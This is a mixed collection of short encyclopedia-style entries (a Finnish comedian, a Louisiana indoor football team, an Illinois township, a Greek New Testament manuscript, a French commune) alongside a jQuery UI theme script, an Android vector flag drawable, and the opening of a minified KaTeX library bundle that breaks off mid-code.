Jamie Lórien MacDonald (born 12 June 1977 in Vancouver, Canada) is a Canadian-born Finnish stand up comedian. MacDonald started his stand up career in 2012. He is the host of the Feminist Comedy Night comedy event started in 2015. He also hosts the Comedy Idiot club together with Aatu Raitala, the Punch Up! – Resistance & Glitter show together with Juuso Kekkonen and Mira Eskelinen as well as the Attic Underground event. Punch Up! was awarded the Theatre Act of the Year 2021 award by the Finnish Centre for Theatre. He has also been part of the performance Transformations – Otteita maskuliinisuuden sanakirjasta combining spoken theatre, dance and stand up comedy, directed by Teemu Mäki as well was the Manning Up document by Aira Vehaskari. MacDonald was awarded Comedian of the Year in 2016. MacDonald was born in Vancouver and moved to Finland in 2002. His mother is Finnish. MacDonald has studied performance arts and its theory at the Helsinki Theatre Academy. On his gigs, MacDonald bases his humour on his transsexuality experience. Assigned female at birth, MacDonald started gender transition at the age of 35. References External links Official site Manning Up at YLE Areena 1977 births Living people Finnish stand-up comedians Finnish people of Canadian descent Transgender comedians
The Lafayette Wildcatters were a professional indoor football team based in Lafayette, Louisiana and a charter member of the Southern Indoor Football League (SIFL). They played their home games at the Cajundome, the Wildcatters are Lafayette's second attempt at an indoor/arena football team following the af2's Lafayette Roughnecks, the Roughnecks folded after their single season of 2001. In their inaugural season, the Wildcatters were known as the Acadiana Mudbugs. They were the only team to start out 3–0 and locked up the No. 3 seed for the SIFL's first ever playoffs. On July 18, 2009, the Mudbugs lost 56–49 to the Austin Turfcats in the playoff semi-finals in the SIFL's first overtime game. The Wildcatters began their 2010 season with a 44–28 loss to the Greenville Force. Four days later, head coach John Fourcade was let go and the team signed former AFL coach Skip Foster to lead the team. The Wildcatters canceled their 2011 season due to the lack of having sufficient Workers Compensation Insurance. By the time their announced return of 2012 had come, the SIFL had broken up. Season-by-season |- | colspan="6" align="center" | Acadiana Mudbugs (SIFL) |- |2009 || 6 || 5 || 0 || 3rd League || Lost semi-finals (Austin) |- | colspan="6" align="center" | Lafayette Wildcatters (SIFL) |- |2010 || 6 || 5 || 0 || 3rd League || Lost semi-finals (Columbus) |- |2011 || rowspan="1" colspan="5" align="center" valign="middle" |Did Not Play |- |2012 || – || – || – || – || – |- !Totals || 12 || 12 || 0 |colspan="2"| (including playoffs) |} 2009 Schedule/results 2010 Schedule/results Head coaches Roster 2009 All-league performer ( * ) 2010 All-league performer ( # ) References External links Official website 2009 Team stats 2010 Team stats American football teams in Louisiana Defunct indoor American football teams Southern Indoor Football League teams Wildcatters 2010 establishments in Louisiana 2011 disestablishments in Louisiana American football teams established in 2010 American football teams disestablished in 2011
```javascript /* your_sha256_hash-------------- * * # Grey palette colors * * Specific JS code additions for colors_grey.html page * * Version: 1.0 * Latest update: Aug 1, 2015 * * your_sha256_hash------------ */ $(function() { // Selects // ------------------------------ // Basic select2 $('.select').select2({ minimumResultsForSearch: Infinity, containerCssClass: 'bg-grey-600' }); // Select2 ultiselect item color $('.select-item-color').select2({ containerCssClass: 'bg-grey-600' }); // Select2 dropdown menu color $('.select-menu-color').select2({ containerCssClass: 'bg-grey-600', dropdownCssClass: 'bg-grey-600' }); // Multiselect $('.multiselect').multiselect({ buttonClass: 'btn bg-grey-600', nonSelectedText: 'Select your state', onChange: function() { $.uniform.update(); } }); // SelectBoxIt $(".selectbox").selectBoxIt({ autoWidth: false, theme: "bootstrap" }); // Bootstrap select $.fn.selectpicker.defaults = { iconBase: '', tickIcon: 'icon-checkmark-circle' } $('.bootstrap-select').selectpicker(); // Notifications // ------------------------------ // jGrowl $('.growl-launch').on('click', function () { $.jGrowl('I am a well highlighted grey notice..', { theme: 'bg-grey', header: 'Well highlighted' }); }); // PNotify $('.pnotify-launch').on('click', function () { new PNotify({ title: 'Info Notice', text: 'Check me out! I\'m a notice.', icon: 'icon-info22', animate_speed: 200, delay: 5000, addclass: 'bg-grey' }); }); // Form components // ------------------------------ // Switchery toggle var switchery = document.querySelector('.switch'); var init = new Switchery(switchery, {color: '#757575'}); // Checkboxes and radios $(".styled, .multiselect-container input").uniform({ radioClass: 'choice', checkboxClass: 'checker', wrapperClass: "border-grey text-grey-600" }); // File input $(".file-styled").uniform({ fileButtonClass: 'action btn bg-grey' }); // Popups // ------------------------------ // Tooltip $('[data-popup=tooltip-custom]').tooltip({ template: '<div class="tooltip"><div class="bg-grey-600"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div></div>' }); // Popover title $('[data-popup=popover-custom]').popover({ template: '<div class="popover border-grey-600"><div class="arrow"></div><h3 class="popover-title bg-grey-600"></h3><div class="popover-content"></div></div>' }); // Popover background color $('[data-popup=popover-solid]').popover({ template: '<div class="popover bg-grey-600"><div class="arrow"></div><h3 class="popover-title"></h3><div class="popover-content"></div></div>' }); }); ```
```xml <vector xmlns:android="path_to_url" android:width="240dp" android:height="156.92307692307693dp" android:viewportWidth="260" android:viewportHeight="170"> <path android:pathData="M0,0h260v170h-260z" android:fillColor="#0053A5"/> <path android:pathData="M80,0h50v170h-50z" android:fillColor="#FFCE00"/> <path android:pathData="M0,60h260v50h-260z" android:fillColor="#FFCE00"/> <path android:pathData="M95,0h20v170h-20z" android:fillColor="#D21034"/> <path android:pathData="M0,75h260v20h-260z" android:fillColor="#D21034"/> </vector> ```
South Litchfield Township (T8N R5W) is located in Montgomery County, Illinois, United States. As of the 2010 census, its population was 3,408 and it contained 1,579 housing units. Geography According to the 2010 census, the township has a total area of , of which (or 99.81%) is land and (or 0.19%) is water. South Litchfield Twp: Demographics Adjacent townships North Litchfield Township (north) Butler Grove Township (northeast) Hillsboro Township (east) Grisham Township (southeast) Walshville Township (south) Mount Olive Township, Macoupin County (southwest) Cahokia Township, Macoupin County (west) Honey Point Township (northwest) References External links City-data.com Illinois State Archives Historical Society of Montgomery County Townships in Montgomery County, Illinois Townships in Illinois
Minuscule 898 (in the Gregory-Aland numbering), ε362 (von Soden), is a 13th-century Greek minuscule manuscript of the New Testament on parchment. It has marginalia. The manuscript has not survived in complete condition. Description The codex contains the text of the four Gospels, on 97 parchment leaves (size ), with some lacunae. The text is written in one column per page, 28 lines per page. It contains also liturgical books with hagiographies: Synaxarion and Menologion. It has numerous lacunae in the Gospel of Matthew, Luke, and John. Only Gospel of Mark is complete. The text of the Gospels is divided according to the Ammonian Sections (in Mark 236 sections, the last section in Mark 16:14), whose numbers are given at the margin. There is no references to the Eusebian Canons. It contains subscriptions at the end of each of the Gospels. Lectionary markings at the margin (for liturgical use) were added by a later hand. Text The Greek text of the codex is a representative of the Byzantine. Kurt Aland placed it in Category V. According to the Claremont Profile Method it represents the textual family Kx in Luke 10, in Luke 1 it has a mixture of Byzantine textual families, in Luke 20 no profile was made because the manuscript is defective. The manuscript has also some lacunae in Luke 1 and Luke 10. It has some textual relationship to Codex Campianus. History According to C. R. Gregory it was written in the 13th century. Currently the manuscript is dated by the INTF to the 13th century. It was bought by David Laing in 1869. Gregory saw it in 1883. The manuscript was added to the list of New Testament manuscripts by Gregory (898e). It was not on the Scrivener's list, but it was added to his list by Edward Miller in the 4th edition of A Plain Introduction to the Criticism of the New Testament. It is not cited in critical editions of the Greek New Testament (UBS4, NA28). 79 leaves of the manuscript is housed at the Edinburgh University Library (Ms. 221 (D Laing 667)), in Edinburgh and 18 leaves Historical Museum of Crete (no shelf number). See also Biblical manuscript List of New Testament minuscules (1–1000) Textual criticism References Further reading External links Greek New Testament minuscules 13th-century biblical manuscripts
Barcillonnette (; ) is a commune in the Hautes-Alpes department in southeastern France. Population See also Communes of the Hautes-Alpes department References Communes of Hautes-Alpes
```javascript (function(e){if(typeof exports==="object"&&typeof module!=="undefined"){module.exports=e()}else if(typeof define==="function"&&define.amd){define([],e)}else{var t;if(typeof window!=="undefined"){t=window}else if(typeof global!=="undefined"){t=global}else if(typeof self!=="undefined"){t=self}else{t=this}t.katex=e()}})(function(){var e,t,r;return function e(t,r,a){function n(l,s){if(!r[l]){if(!t[l]){var o=typeof require=="function"&&require;if(!s&&o)return o(l,!0);if(i)return i(l,!0);var u=new Error("Cannot find module '"+l+"'");throw u.code="MODULE_NOT_FOUND",u}var c=r[l]={exports:{}};t[l][0].call(c.exports,function(e){var r=t[l][1][e];return n(r?r:e)},c,c.exports,e,t,r,a)}return r[l].exports}var i=typeof require=="function"&&require;for(var l=0;l<a.length;l++)n(a[l]);return n}({1:[function(e,t,r){"use strict";var a=e("./src/ParseError");var n=v(a);var i=e("./src/Settings");var l=v(i);var s=e("./src/buildTree");var o=v(s);var u=e("./src/parseTree");var c=v(u);var f=e("./src/utils");var h=v(f);function v(e){return e&&e.__esModule?e:{default:e}}var d=function e(t,r,a){h.default.clearNode(r);var n=new l.default(a);var i=(0,c.default)(t,n);var s=(0,o.default)(i,t,n).toNode();r.appendChild(s)};if(typeof document!=="undefined"){if(document.compatMode!=="CSS1Compat"){typeof console!=="undefined"&&console.warn("Warning: KaTeX doesn't work in quirks mode. Make sure your "+"website has a suitable doctype.");d=function e(){throw new n.default("KaTeX doesn't work in quirks mode.")}}}var p=function e(t,r){var a=new l.default(r);var n=(0,c.default)(t,a);return(0,o.default)(n,t,a).toMarkup()};var m=function e(t,r){var a=new l.default(r);return(0,c.default)(t,a)};t.exports={render:d,renderToString:p,__parse:m,ParseError:n.default}},{"./src/ParseError":29,"./src/Settings":32,"./src/buildTree":37,"./src/parseTree":46,"./src/utils":51}],2:[function(e,t,r){t.exports={default:e("core-js/library/fn/json/stringify"),__esModule:true}},{"core-js/library/fn/json/stringify":6}],3:[function(e,t,r){t.exports={default:e("core-js/library/fn/object/define-property"),__esModule:true}},{"core-js/library/fn/object/define-property":7}],4:[function(e,t,r){"use strict";r.__esModule=true;r.default=function(e,t){if(!(e instanceof t)){throw new TypeError("Cannot call a class as a function")}}},{}],5:[function(e,t,r){"use strict";r.__esModule=true;var a=e("../core-js/object/define-property");var n=i(a);function i(e){return e&&e.__esModule?e:{default:e}}r.default=function(){function e(e,t){for(var r=0;r<t.length;r++){var a=t[r];a.enumerable=a.enumerable||false;a.configurable=true;if("value"in a)a.writable=true;(0,n.default)(e,a.key,a)}}return function(t,r,a){if(r)e(t.prototype,r);if(a)e(t,a);return t}}()},{"../core-js/object/define-property":3}],6:[function(e,t,r){var a=e("../../modules/_core"),n=a.JSON||(a.JSON={stringify:JSON.stringify});t.exports=function e(t){return n.stringify.apply(n,arguments)}},{"../../modules/_core":10}],7:[function(e,t,r){e("../../modules/es6.object.define-property");var a=e("../../modules/_core").Object;t.exports=function e(t,r,n){return a.defineProperty(t,r,n)}},{"../../modules/_core":10,"../../modules/es6.object.define-property":23}],8:[function(e,t,r){t.exports=function(e){if(typeof e!="function")throw TypeError(e+" is not a function!");return e}},{}],9:[function(e,t,r){var a=e("./_is-object");t.exports=function(e){if(!a(e))throw TypeError(e+" is not an object!");return e}},{"./_is-object":19}],10:[function(e,t,r){var a=t.exports={version:"2.4.0"};if(typeof __e=="number")__e=a},{}],11:[function(e,t,r){var a=e("./_a-function");t.exports=function(e,t,r){a(e);if(t===undefined)return e;switch(r){case 1:return function(r){return e.call(t,r)};case 2:return function(r,a){return e.call(t,r,a)};case 3:return function(r,a,n){return e.call(t,r,a,n)}}return function(){return e.apply(t,arguments)}}},{"./_a-function":8}],12:[function(e,t,r){t.exports=!e("./_fails")(function(){return Object.defineProperty({},"a",{get:function(){return 7}}).a!=7})},{"./_fails":15}],13:[function(e,t,r){var a=e("./_is-object"),n=e("./_global").document,i=a(n)&&a(n.createElement);t.exports=function(e){return i?n.createElement(e):{}}},{"./_global":16,"./_is-object":19}],14:[function(e,t,r){var a=e("./_global"),n=e("./_core"),i=e("./_ctx"),l=e("./_hide"),s="prototype";var o=function(e,t,r){var u=e&o.F,c=e&o.G,f=e&o.S,h=e&o.P,v=e&o.B,d=e&o.W,p=c?n:n[t]||(n[t]={}),m=p[s],g=c?a:f?a[t]:(a[t]||{})[s],y,x,w;if(c)r=t;for(y in r){x=!u&&g&&g[y]!==undefined;if(x&&y in p)continue;w=x?g[y]:r[y];p[y]=c&&typeof g[y]!="function"?r[y]:v&&x?i(w,a):d&&g[y]==w?function(e){var t=function(t,r,a){if(this instanceof e){switch(arguments.length){case 0:return new e;case 1:return new e(t);case 2:return new e(t,r)}return new e(t,r,a)}return e.apply(this,arguments)};t[s]=e[s];return t}(w):h&&typeof w=="function"?i(Function.call,w):w;if(h){(p.virtual||(p.virtual={}))[y]=w;if(e&o.R&&m&&!m[y])l(m,y,w)}}};o.F=1;o.G=2;o.S=4;o.P=8;o.B=16;o.W=32;o.U=64;o.R=128;t.exports=o},{"./_core":10,"./_ctx":11,"./_global":16,"./_hide":17}],15:[function(e,t,r){t.exports=function(e){try{return!!e()}catch(e){return true}}},{}],16:[function(e,t,r){var a=t.exports=typeof window!="undefined"&&window.Math==Math?window:typeof self!="undefined"&&self.Math==Math?self:Function("return this")();if(typeof __g=="number")__g=a},{}],17:[function(e,t,r){var a=e("./_object-dp"),n=e("./_property-desc");t.exports=e("./_descriptors")?function(e,t,r){return a.f(e,t,n(1,r))}:function(e,t,r){e[t]=r;return e}},{"./_descriptors":12,"./_object-dp":20,"./_property-desc":21}],18:[function(e,t,r){t.exports=!e("./_descriptors")&&!e("./_fails")(function(){return Object.defineProperty(e("./_dom-create")("div"),"a",{get:function(){return 7}}).a!=7})},{"./_descriptors":12,"./_dom-create":13,"./_fails":15}],19:[function(e,t,r){t.exports=function(e){return typeof e==="object"?e!==null:typeof e==="function"}},{}],20:[function(e,t,r){var a=e("./_an-object"),n=e("./_ie8-dom-define"),i=e("./_to-primitive"),l=Object.defineProperty;r.f=e("./_descriptors")?Object.defineProperty:function e(t,r,s){a(t);r=i(r,true);a(s);if(n)try{return l(t,r,s)}catch(e){}if("get"in s||"set"in s)throw TypeError("Accessors not supported!");if("value"in s)t[r]=s.value;return t}},{"./_an-object":9,"./_descriptors":12,"./_ie8-dom-define":18,"./_to-primitive":22}],21:[function(e,t,r){t.exports=function(e,t){return{enumerable:!(e&1),configurable:!(e&2),writable:!(e&4),value:t}}},{}],22:[function(e,t,r){var a=e("./_is-object");t.exports=function(e,t){if(!a(e))return e;var r,n;if(t&&typeof(r=e.toString)=="function"&&!a(n=r.call(e)))return n;if(typeof(r=e.valueOf)=="function"&&!a(n=r.call(e)))return n;if(!t&&typeof(r=e.toString)=="function"&&!a(n=r.call(e)))return n;throw TypeError("Can't convert object to primitive value")}},{"./_is-object":19}],23:[function(e,t,r){var a=e("./_export");a(a.S+a.F*!e("./_descriptors"),"Object",{defineProperty:e("./_object-dp").f})},{"./_descriptors":12,"./_export":14,"./_object-dp":20}],24:[function(e,t,r){"use strict";function a(e){if(!e.__matchAtRelocatable){var t=e.source+"|()";var r="g"+(e.ignoreCase?"i":"")+(e.multiline?"m":"")+(e.unicode?"u":"");e.__matchAtRelocatable=new RegExp(t,r)}return e.__matchAtRelocatable}function n(e,t,r){if(e.global||e.sticky){throw new Error("matchAt(...): Only non-global regexes are supported")}var n=a(e);n.lastIndex=r;var i=n.exec(t);if(i[i.length-1]==null){i.length=i.length-1;return i}else{return null}}t.exports=n},{}],25:[function(e,t,r){"use strict";var a=Object.prototype.hasOwnProperty;var n=Object.prototype.propertyIsEnumerable;function i(e){if(e===null||e===undefined){throw new TypeError("Object.assign cannot be called with null or undefined")}return Object(e)}function l(){try{if(!Object.assign){return false}var e=new String("abc");e[5]="de";if(Object.getOwnPropertyNames(e)[0]==="5"){return false}var t={};for(var r=0;r<10;r++){t["_"+String.fromCharCode(r)]=r}var a=Object.getOwnPropertyNames(t).map(function(e){return t[e]});if(a.join("")!=="0123456789"){return false}var n={};"abcdefghijklmnopqrst".split("").forEach(function(e){n[e]=e});if(Object.keys(Object.assign({},n)).join("")!=="abcdefghijklmnopqrst"){return false}return true}catch(e){return false}}t.exports=l()?Object.assign:function(e,t){var r;var l=i(e);var s;for(var o=1;o<arguments.length;o++){r=Object(arguments[o]);for(var u in r){if(a.call(r,u)){l[u]=r[u]}}if(Object.getOwnPropertySymbols){s=Object.getOwnPropertySymbols(r);for(var c=0;c<s.length;c++){if(n.call(r,s[c])){l[s[c]]=r[s[c]]}}}}return l}},{}],26:[function(e,t,r){"use strict";var a=e("babel-runtime/helpers/classCallCheck");var n=f(a);var i=e("babel-runtime/helpers/createClass");var l=f(i);var s=e("match-at");var o=f(s);var u=e("./ParseError");var c=f(u);function f(e){return e&&e.__esModule?e:{default:e}}var h=function(){function e(t,r,a,i){(0,n.default)(this,e);this.text=t;this.start=r;this.end=a;this.lexer=i}(0,l.default)(e,[{key:"range",value:function t(r,a){if(r.lexer!==this.lexer){return new e(a)}return new e(a,this.start,r.end,this.lexer)}}]);return e}();var v=new RegExp("([ \r\n\t]+)|"+"([!-\\[\\]-\u2027\u202a-\ud7ff\uf900-\uffff]"+"|[\ud800-\udbff][\udc00-\udfff]"+"|\\\\(?:[a-zA-Z]+|[^\ud800-\udfff])"+")");var d=function(){function e(t){(0,n.default)(this,e);this.input=t;this.pos=0}(0,l.default)(e,[{key:"lex",value:function e(){var t=this.input;var r=this.pos;if(r===t.length){return new h("EOF",r,r,this)}var a=(0,o.default)(v,t,r);if(a===null){throw new c.default("Unexpected character: '"+t[r]+"'",new h(t[r],r,r+1,this))}var n=a[2]||" ";var i=this.pos;this.pos+=a[0].length;var l=this.pos;return new h(n,i,l,this)}}]);return e}();t.exports=d},{"./ParseError":29,"babel-runtime/helpers/classCallCheck":4,"babel-runtime/helpers/createClass":5,"match-at":24}],27:[function(e,t,r){"use strict";var a=e("babel-runtime/helpers/classCallCheck");var n=p(a);var i=e("babel-runtime/helpers/createClass");var l=p(i);var s=e("./Lexer");var o=p(s);var u=e("./macros");var c=p(u);var f=e("./ParseError");var h=p(f);var v=e("object-assign");var d=p(v);function p(e){return e&&e.__esModule?e:{default:e}}var m=function(){function e(t,r){(0,n.default)(this,e);this.lexer=new o.default(t);this.macros=(0,d.default)({},c.default,r);this.stack=[];this.discardedWhiteSpace=[]}(0,l.default)(e,[{key:"nextToken",value:function e(){for(;;){if(this.stack.length===0){this.stack.push(this.lexer.lex())}var t=this.stack.pop();var r=t.text;if(!(r.charAt(0)==="\\"&&this.macros.hasOwnProperty(r))){return t}var a=void 0;var n=this.macros[r];if(typeof n==="string"){var i=0;if(n.indexOf("#")!==-1){var l=n.replace(/##/g,"");while(l.indexOf("#"+(i+1))!==-1){++i}}var s=new o.default(n);n=[];a=s.lex();while(a.text!=="EOF"){n.push(a);a=s.lex()}n.reverse();n.numArgs=i;this.macros[r]=n}if(n.numArgs){var u=[];var c=void 0;for(c=0;c<n.numArgs;++c){var f=this.get(true);if(f.text==="{"){var v=[];var d=1;while(d!==0){a=this.get(false);v.push(a);if(a.text==="{"){++d}else if(a.text==="}"){--d}else if(a.text==="EOF"){throw new h.default("End of input in macro argument",f)}}v.pop();v.reverse();u[c]=v}else if(f.text==="EOF"){throw new h.default("End of input expecting macro argument",t)}else{u[c]=[f]}}n=n.slice();for(c=n.length-1;c>=0;--c){a=n[c];if(a.text==="#"){if(c===0){throw new h.default("Incomplete placeholder at end of macro body",a)}a=n[--c];if(a.text==="#"){n.splice(c+1,1)}else if(/^[1-9]$/.test(a.text)){n.splice.apply(n,[c,2].concat(u[a.text-1]))}else{throw new h.default("Not a valid argument number",a)}}}}this.stack=this.stack.concat(n)}}},{key:"get",value:function e(t){this.discardedWhiteSpace=[];var r=this.nextToken();if(t){while(r.text===" "){this.discardedWhiteSpace.push(r);r=this.nextToken()}}return r}},{key:"unget",value:function e(t){this.stack.push(t);while(this.discardedWhiteSpace.length!==0){this.stack.push(this.discardedWhiteSpace.pop())}}}]);return e}();t.exports=m},{"./Lexer":26,"./ParseError":29,"./macros":44,"babel-runtime/helpers/classCallCheck":4,"babel-runtime/helpers/createClass":5,"object-assign":25}],28:[function(e,t,r){"use strict";var a=e("babel-runtime/helpers/classCallCheck");var n=u(a);var i=e("babel-runtime/helpers/createClass");var l=u(i);var s=e("./fontMetrics");var o=u(s);function u(e){return e&&e.__esModule?e:{default:e}}var c=6;var f=[[1,1,1],[2,1,1],[3,1,1],[4,2,1],[5,2,1],[6,3,1],[7,4,2],[8,6,3],[9,7,6],[10,8,7],[11,10,9]];var h=[.5,.6,.7,.8,.9,1,1.2,1.44,1.728,2.074,2.488];var v=function e(t,r){return r.size<2?t:f[t-1][r.size-1]};var d=function(){function e(t){(0,n.default)(this,e);this.style=t.style;this.color=t.color;this.size=t.size||c;this.textSize=t.textSize||this.size;this.phantom=t.phantom;this.font=t.font;this.sizeMultiplier=h[this.size-1];this._fontMetrics=null}(0,l.default)(e,[{key:"extend",value:function t(r){var a={style:this.style,size:this.size,textSize:this.textSize,color:this.color,phantom:this.phantom,font:this.font};for(var n in r){if(r.hasOwnProperty(n)){a[n]=r[n]}}return new e(a)}},{key:"havingStyle",value:function e(t){if(this.style===t){return this}else{return this.extend({style:t,size:v(this.textSize,t)})}}},{key:"havingCrampedStyle",value:function e(){return this.havingStyle(this.style.cramp())}},{key:"havingSize",value:function e(t){if(this.size===t&&this.textSize===t){return this}else{return this.extend({style:this.style.text(),size:t,textSize:t})}}},{key:"havingBaseStyle",value:function e(t){t=t||this.style.text();var r=v(c,t);if(this.size===r&&this.textSize===c&&this.style===t){return this}else{return this.extend({style:t,size:r,baseSize:c})}}},{key:"withColor",value:function e(t){return this.extend({color:t})}},{key:"withPhantom",value:function e(){return this.extend({phantom:true})}},{key:"withFont",value:function e(t){return this.extend({font:t||this.font})}},{key:"sizingClasses",value:function e(t){if(t.size!==this.size){return["sizing","reset-size"+t.size,"size"+this.size]}else{return[]}}},{key:"baseSizingClasses",value:function e(){if(this.size!==c){return["sizing","reset-size"+this.size,"size"+c]}else{return[]}}},{key:"fontMetrics",value:function e(){if(!this._fontMetrics){this._fontMetrics=o.default.getFontMetrics(this.size)}return this._fontMetrics}},{key:"getColor",value:function t(){if(this.phantom){return"transparent"}else{return e.colorMap[this.color]||this.color}}}]);return e}();d.colorMap={"katex-blue":"#6495ed","katex-orange":"#ffa500","katex-pink":"#ff00af","katex-red":"#df0030","katex-green":"#28ae7b","katex-gray":"gray","katex-purple":"#9d38bd","katex-blueA":"#ccfaff","katex-blueB":"#80f6ff","katex-blueC":"#63d9ea","katex-blueD":"#11accd","katex-blueE":"#0c7f99","katex-tealA":"#94fff5","katex-tealB":"#26edd5","katex-tealC":"#01d1c1","katex-tealD":"#01a995","katex-tealE":"#208170","katex-greenA":"#b6ffb0","katex-greenB":"#8af281","katex-greenC":"#74cf70","katex-greenD":"#1fab54","katex-greenE":"#0d923f","katex-goldA":"#ffd0a9","katex-goldB":"#ffbb71","katex-goldC":"#ff9c39","katex-goldD":"#e07d10","katex-goldE":"#a75a05","katex-redA":"#fca9a9","katex-redB":"#ff8482","katex-redC":"#f9685d","katex-redD":"#e84d39","katex-redE":"#bc2612","katex-maroonA":"#ffbde0","katex-maroonB":"#ff92c6","katex-maroonC":"#ed5fa6","katex-maroonD":"#ca337c","katex-maroonE":"#9e034e","katex-purpleA":"#ddd7ff","katex-purpleB":"#c6b9fc","katex-purpleC":"#aa87ff","katex-purpleD":"#7854ab","katex-purpleE":"#543b78","katex-mintA":"#f5f9e8","katex-mintB":"#edf2df","katex-mintC":"#e0e5cc","katex-grayA":"#f6f7f7","katex-grayB":"#f0f1f2","katex-grayC":"#e3e5e6","katex-grayD":"#d6d8da","katex-grayE":"#babec2","katex-grayF":"#888d93","katex-grayG":"#626569","katex-grayH":"#3b3e40","katex-grayI":"#21242c","katex-kaBlue":"#314453","katex-kaGreen":"#71B307"};d.BASESIZE=c;t.exports=d},{"./fontMetrics":41,"babel-runtime/helpers/classCallCheck":4,"babel-runtime/helpers/createClass":5}],29:[function(e,t,r){"use strict";var a=e("babel-runtime/helpers/classCallCheck");var n=i(a);function i(e){return e&&e.__esModule?e:{default:e}}var l=function e(t,r){(0,n.default)(this,e);var a="KaTeX parse error: "+t;var i=void 0;var l=void 0;if(r&&r.lexer&&r.start<=r.end){var s=r.lexer.input;i=r.start;l=r.end;if(i===s.length){a+=" at end of input: "}else{a+=" at position "+(i+1)+": "}var o=s.slice(i,l).replace(/[^]/g,"$&\u0332");var u=void 0;if(i>15){u="\u2026"+s.slice(i-15,i)}else{u=s.slice(0,i)}var c=void 0;if(l+15<s.length){c=s.slice(l,l+15)+"\u2026"}else{c=s.slice(l)}a+=u+o+c}var f=new Error(a);f.name="ParseError";f.__proto__=e.prototype;f.position=i;return f};l.prototype.__proto__=Error.prototype;t.exports=l},{"babel-runtime/helpers/classCallCheck":4}],30:[function(e,t,r){"use strict";Object.defineProperty(r,"__esModule",{value:true});var a=e("babel-runtime/helpers/classCallCheck");var n=i(a);function i(e){return e&&e.__esModule?e:{default:e}}var l=function e(t,r,a,i,l){(0,n.default)(this,e);this.type=t;this.value=r;this.mode=a;if(i&&(!l||l.lexer===i.lexer)){this.lexer=i.lexer;this.start=i.start;this.end=(l||i).end}};r.default=l},{"babel-runtime/helpers/classCallCheck":4}],31:[function(e,t,r){"use strict";var a=e("babel-runtime/helpers/classCallCheck");var n=z(a);var i=e("babel-runtime/helpers/createClass");var l=z(i);var s=e("./functions");var o=z(s);var u=e("./environments");var c=z(u);var f=e("./MacroExpander");var h=z(f);var v=e("./symbols");var d=z(v);var p=e("./utils");var m=z(p);var g=e("./units");var y=z(g);var x=e("./unicodeRegexes");var w=e("./ParseNode");var b=z(w);var k=e("./ParseError");var M=z(k);function z(e){return e&&e.__esModule?e:{default:e}}function S(e,t,r){this.result=e;this.isFunction=t;this.token=r}var A=function(){function e(t,r){(0,n.default)(this,e);this.gullet=new h.default(t,r.macros);if(r.colorIsTextColor){this.gullet.macros["\\color"]="\\textcolor"}this.settings=r;this.leftrightDepth=0}(0,l.default)(e,[{key:"expect",value:function e(t,r){if(this.nextToken.text!==t){throw new M.default("Expected '"+t+"', got '"+this.nextToken.text+"'",this.nextToken)}if(r!==false){this.consume()}}},{key:"consume",value:function e(){this.nextToken=this.gullet.get(this.mode==="math")}},{key:"switchMode",value:function e(t){this.gullet.unget(this.nextToken);this.mode=t;this.consume()}},{key:"parse",value:function e(){this.mode="math";this.consume();var e=this.parseInput();return e}},{key:"parseInput",value:function e(){var t=this.parseExpression(false);this.expect("EOF",false);return t}},{key:"parseExpression",value:function t(r,a){var n=[];while(true){var i=this.nextToken;if(e.endOfExpression.indexOf(i.text)!==-1){break}if(a&&i.text===a){break}if(r&&o.default[i.text]&&o.default[i.text].infix){break}var l=this.parseAtom();if(!l){if(!this.settings.throwOnError&&i.text[0]==="\\"){var s=this.handleUnsupportedCmd();n.push(s);continue}break}n.push(l)}return this.handleInfixNodes(n)}},{key:"handleInfixNodes",value:function e(t){var r=-1;var a=void 0;for(var n=0;n<t.length;n++){var i=t[n];if(i.type==="infix"){if(r!==-1){throw new M.default("only one infix operator per group",i.value.token)}r=n;a=i.value.replaceWith}}if(r!==-1){var l=void 0;var s=void 0;var o=t.slice(0,r);var u=t.slice(r+1);if(o.length===1&&o[0].type==="ordgroup"){l=o[0]}else{l=new b.default("ordgroup",o,this.mode)}if(u.length===1&&u[0].type==="ordgroup"){s=u[0]}else{s=new b.default("ordgroup",u,this.mode)}var c=this.callFunction(a,[l,s],null);return[new b.default(c.type,c,this.mode)]}else{return t}}},{key:"handleSupSubscript",value:function t(r){var a=this.nextToken;var n=a.text;this.consume();var i=this.parseGroup();if(!i){if(!this.settings.throwOnError&&this.nextToken.text[0]==="\\"){return this.handleUnsupportedCmd()}else{throw new M.default("Expected group after '"+n+"'",a)}}else if(i.isFunction){var l=o.default[i.result].greediness;if(l>e.SUPSUB_GREEDINESS){return this.parseFunction(i)}else{throw new M.default("Got function '"+i.result+"' with no arguments "+"as "+r,a)}}else{return i.result}}},{key:"handleUnsupportedCmd",value:function e(){var t=this.nextToken.text;var r=[];for(var a=0;a<t.length;a++){r.push(new b.default("textord",t[a],"text"))}var n=new b.default("text",{body:r,type:"text"},this.mode);var i=new b.default("color",{color:this.settings.errorColor,value:[n],type:"color"},this.mode);this.consume();return i}},{key:"parseAtom",value:function e(){var t=this.parseImplicitGroup();if(this.mode==="text"){return t}var r=void 0;var a=void 0;while(true){var n=this.nextToken;if(n.text==="\\limits"||n.text==="\\nolimits"){if(!t||t.type!=="op"){throw new M.default("Limit controls must follow a math operator",n)}else{var i=n.text==="\\limits";t.value.limits=i;t.value.alwaysHandleSupSub=true}this.consume()}else if(n.text==="^"){if(r){throw new M.default("Double superscript",n)}r=this.handleSupSubscript("superscript")}else if(n.text==="_"){if(a){throw new M.default("Double subscript",n)}a=this.handleSupSubscript("subscript")}else if(n.text==="'"){if(r){throw new M.default("Double superscript",n)}var l=new b.default("textord","\\prime",this.mode);var s=[l];this.consume();while(this.nextToken.text==="'"){s.push(l);this.consume()}if(this.nextToken.text==="^"){s.push(this.handleSupSubscript("superscript"))}r=new b.default("ordgroup",s,this.mode)}else{break}}if(r||a){return new b.default("supsub",{base:t,sup:r,sub:a},this.mode)}else{return t}}},{key:"parseImplicitGroup",value:function t(){var r=this.parseSymbol();if(r==null){return this.parseFunction()}var a=r.result;if(a==="\\left"){var n=this.parseFunction(r);++this.leftrightDepth;var i=this.parseExpression(false);--this.leftrightDepth;this.expect("\\right",false);var l=this.parseFunction();return new b.default("leftright",{body:i,left:n.value.value,right:l.value.value},this.mode)}else if(a==="\\begin"){var s=this.parseFunction(r);var o=s.value.name;if(!c.default.hasOwnProperty(o)){throw new M.default("No such environment: "+o,s.value.nameGroup)}var u=c.default[o];var f=this.parseArguments("\\begin{"+o+"}",u);var h={mode:this.mode,envName:o,parser:this,positions:f.pop()};var v=u.handler(h,f);this.expect("\\end",false);var d=this.nextToken;var p=this.parseFunction();if(p.value.name!==o){throw new M.default("Mismatch: \\begin{"+o+"} matched "+"by 